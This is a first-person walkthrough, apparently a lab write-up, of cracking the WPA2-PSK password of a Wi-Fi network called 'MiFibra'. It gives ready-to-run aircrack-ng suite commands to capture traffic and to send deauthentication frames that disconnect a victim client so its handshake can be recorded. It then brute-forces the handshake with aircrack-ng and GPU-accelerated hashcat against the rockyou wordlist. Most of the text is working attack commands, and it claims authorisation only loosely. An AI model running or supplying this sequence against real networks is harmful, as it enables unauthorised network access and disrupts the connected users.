For this evaluation sequence, I will run a targeting test against the local "MiFibra" network infrastructure, which relies on WPA2-PSK protection.

airodump-ng --band abg wlan1mon

After isolating our target access point (AP), we identify an active connected client station to target for the handshake interception phase. We then bind our wireless interface to sniff on the exact operating channel:

airodump-ng --bssid <BSSID> --channel 7 --write contraseca.txt wlan1mon

With the monitor window tracking the target stream, we deliver targeted deauthentication frames to disrupt the client connection. Note that the monitoring engine must match the operational channel of the target AP.

aireplay-ng --deauth 5 -a <BSSID> -c <VICTIM_MAC> wlan1mon

Following the deauthentication blast, we record the radio space, waiting for the target station to re-establish its handshake protocol. Success is verified when the notification marker indicates a captured 4-way handshake in the upper corner of our terminal interface.

This interaction disconnects the target MAC from its parent node. Upon disconnection, the client operating system attempts automated re-association, capturing the required cryptographic handshake exchange without demanding user interaction. Once captured, we can process the compiled .cap data structure against a local dictionary list using aircrack-ng:

aircrack-ng contraseca.txt-01.cap -w /usr/share/wordlists/rockyou.txt

If dealing with non-standard or complex passphrases that demand high-performance computing, we can parse the raw network capture files into a standardized structure optimized for Hashcat processing via the web deployment utility cap2hashcat:
https://hashcat.net/cap2hashcat/index.pl

With the newly structured .hc22000 file compiled, we launch our hardware-accelerated processing pipeline:

hashcat -m 22000 1538677_1773258581.hc22000 /usr/share/wordlists/rockyou.txt

This structural assignment shifts processing execution from the primary CPU architecture over to the highly parallelized GPU pipeline. On my local deployment utilizing an RTX 3070 chipset, processing execution scales efficiently, hitting benchmarking speeds of 27 million key evaluations per minute.